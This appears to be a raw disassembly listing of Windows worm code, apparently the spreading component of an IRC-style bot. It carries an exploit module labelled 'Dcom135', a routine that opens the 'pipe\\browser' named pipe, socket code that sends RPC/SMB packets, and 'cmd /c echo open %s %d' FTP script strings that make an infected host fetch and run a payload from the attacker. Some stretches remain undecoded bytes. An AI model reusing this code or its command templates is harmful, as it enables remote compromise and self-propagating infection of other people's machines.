		db 0B8h	; ¸
		db  0Ch
		db 0C8h	; È
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  80h	; €
		db 0E0h	; à
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2630000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B


loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------


loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_404AE8


loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2611A31h
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2611183h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------


loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)


loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0


loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C


loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		call	near ptr 2611A31h
		nop
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B


loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax


loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26303A9h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2611183h
		test	eax, eax
		jnz	short loc_404E03
		call	near ptr 2630313h
		nop
		cmp	eax, 3E5h
		jnz	loc_404A04


loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2630272h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1


loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------


loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]


loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi


loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0C2h	; Â
		db  24h	; $
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  78h	; x
		db 0C4h	; Ä
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db 0B6h	; ¶
		db 0C8h	; È
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  83h	; ƒ
		db 0EDh	; í
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0AAh	; ª
		db 0EFh	; ï
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  74h	; t
		db 0F6h	; ö
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  3Ch	; <
		db 0C8h	; È
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0FCh	; ü
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; Ü
		db  89h	; ‰
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0A3h	; £
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0D7h	; ×
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db  34h	; 4
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 1EB4B0E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C


loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE


loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh


loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax


loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43F668
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 25F0439h
		push	offset byte_42F674
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F


loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------


loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		mov	al, 1


loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------


loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]


loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx


loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2


loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	near ptr 71AB3E5Dh
		nop
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		call	near ptr 71AB1AF4h
		nop
		push	3E8h
		call	near ptr 25F0439h
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		call	near ptr 71AB8629h
		nop
		push	edi
		nop
		call	near ptr 71AB1A6Dh


loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax


loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3ECEh
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB5DE2h
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	near ptr 71AB1890h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8


loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h,	8390716Bh
